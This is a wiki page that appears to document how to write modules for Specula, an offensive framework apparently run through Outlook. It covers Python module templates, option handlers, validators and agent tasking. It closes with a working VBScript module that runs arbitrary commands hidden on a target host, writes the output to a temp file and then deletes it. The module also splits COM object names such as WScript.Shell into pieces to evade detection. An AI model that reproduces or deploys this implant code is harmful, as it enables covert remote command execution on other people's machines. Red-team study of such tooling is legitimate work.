-
Notifications
You must be signed in to change notification settings - Fork 19
Developing New Modules
Specula modules are located under the functions
folder and split into broad categories namely:
- api: interacting with a pushed down com object for native funcationality
- enumerate: retreiving system information from the target
- execute: execute commands and operational effects on the target
- exploit: any exploits of primatives would go in here
- operation: basic system operations go here (cat, upload, download, dir, read mail etc)
- trolling: Weird stuff to be irritating go here
At minimum each capability will consist of a python script an an associated vbscript. The python script is used to configure the vbscript using jinja2 as a templating language. It can present 0 or more options and then can take pre/post processing.
The python code is implemented as a class named Spec that inherits from SpecModule
This class defines an init module that configures some of the classes options, a bear minimul specula module looks as follows
from lib.core.specmodule import SpecModule
class Spec(SpecModule):
def __init__(self, templatepath, helpers):
self.options = {}
self.depends = []
self.helpers = helpers
self.help = """
Place a description here of what users should know about your module as a whole and how it will be used
"""
self.entry = 'execute_functionality'
super().__init__(templatepath)
For configuration of the vbscript file you can fill out the options parameter. Any value given here will be passed into the jinja2 template with the name given. An individual option looks as follows
self.options['templatename'] = {
"value": "Default Value",
"required": True || False,
"description": "Description to present to user,
(optional)"handler": callback function to process value before it is used in the jinja2 template,
(optional)"validator": callback function to validate value is within expected range / parameters,
(optional)"validatorargs" : list of named arguments to pass along to the validator callback function,
(optional)"handlerargs" : list of named arguments to pass along to handler callback function,
}
The depends array calls out other vbscript .txt files that need to be loaded into the same context as your main script. This allows for abstracting basic primatives (like setting a registry key) into there own standalone functions, and then referencing them from multiple scripts without copy / pasting the function around.
The entry variable is a string that specifies what the name of your main vbscript entry function is. This is the script outlook will call once it downloads your code.
Finally there are two functions that can be overridden as needed to provide other customization:
def preprocess(self, agent):
# This is called before your vbscript is processed and allows handling hidden arguments or complex validation
def rethandler(self, agent, options, data):
# This is called with the return data. If you want to do any special parsing of the returned data / act on it you can here.
As marked above there are a number of optional attributes that can contribute to how the menu system processes set options. The included options for these keys are below
Handlers are coded as a function that takes the input "value" as the first parameter, and anything defined in handlerargs
as kwargs.
The default ones are under lib/modhandlers/generic.py
for example quotedstring is implemented as below
def quotedstring(value, **kwargs):
if value[0] != "\"":
return '"{}"'.format(value)
return value
The return value should be the transformed value to use in the jinja2 vbs template The following functions are available for use
name | usage |
---|---|
quotedstring | checks if the string starts with a " and if it doesn't wraps the string in " |
escapebackslash | escapes any \ found in the string |
makeint | transforms the argument from a string to an integer |
makelist | transforms the argument from a space separated list to a python list |
escapequotes | escape any " found for vbs and escape | |
makebool | transforms the argument to True if it is true otherwise False |
Validators work similar to handlers but have a different job. Rather then taking the already accepted value and transforming it, they control if a value is allowed to be used or not in the first place.
Similar to handlers they accept kwargs via validatorargs
. The default validator's provided with the framework are under lib/validators/*.py
An example of an implemented validator is below
def ischoice(val, **kwargs):
try:
choices = kwargs["choices"]
if val in choices:
return True
else:
errmsg = "invalid choice, valid options are: {}".format(choices)
print(errmsg)
return False
except:
print("something went wrong")
traceback.print_exc()
return False
if False is returned the options is now allowed to be set and the user must provide a new value
name | usage |
---|---|
iswebaddress | provided value starts with http(s):// |
isboolstring | provided value is "true" or "false" |
maxlen | provided value is no longer then the validatorarg "length" |
ischoice | provided value is included in the list of choices in validatorarg "choices" |
isint | provided value is a valid int |
isreadable | provided value is a filesystem path and can be read |
isbasename | provided path is a valid basename and not full path |
an instantiated instance of "Helpers" is passed into all created modules. This class exposes methods to further interact with the framework on a programmatic level. Some of the exposed methods that you may want to leverage are mentioned below.
def insertTask(self, agent, module, name):
agent: the agent object you want the task inserted on module: a configured (options set) module to task the referenced agent with name: the name of the module as presented in the UI.
This can be used to configure a task and insert it onto an agent. its intended use case is to perform follow on tasking in a rethandler.
def sendPush(self, ip, hostname, msg):
ip: ip address to identify related client. hostname: hostname to identify related client. msg: message to post via pushover.
If you need to send a message in response to specific output being in a task, you can call this to beacon out to the configured pushover client.
The visual basic scripts are the heart of what is getting executed on target and what gives specula its functionality. There are already a wide variety of scripts that cover most needs, but being an extensible system most anything can be added.
Your VBScript must define the entry function as specified by self.entry in your python script.
The bare VBScript template would look like as follows:
Function execute_functionality()
On error resume next
execute_functionality = "Done"
End Function
This would simply return the string "Done" when executed.
For customization variables from the python script can be substituted in using jinja2 syntax. a basic example of this is seen in functions/execute/host/cmd.txt
the python has
...
self.entry = 'Execute_CMD'
self.options['command'] = {
"value": None,
"required": True,
"description": "Command to execute on remote target",
"handler": quotedstring
}
...
and the associated vbscript looks as follows, notice the entry name lining up and how {{command}}
is used
Function Execute_CMD()
On Error Resume Next
Const HIDDEN_WINDOW = 0
Set ws = window.external.OutlookApplication.CreateObject("Wscr" & "ipt.s" & "hell")
Set f = window.external.OutlookApplication.CreateObject("Scri" & "pting.FileSyst" & "emObject")
tmp = f.GetSpecialFolder(2)
fn = f.GetTempName
ff = tmp & "\" & fn
c = "cmd /c " & {{command}} & " > " & ff
ws.Run c, 0, true
if f.FileExists(ff) then
set tf = f.OpenTextFile(ff)
if not tf.atendofstream then
retval = tf.ReadAll
tf.close()
Execute_CMD = "Command executed: " & c & vbCrLf & retval
else
tf.close()
Execute_CMD = "Command: " & c & " returned no data"
end if
f.DeleteFile ff
end if
End Function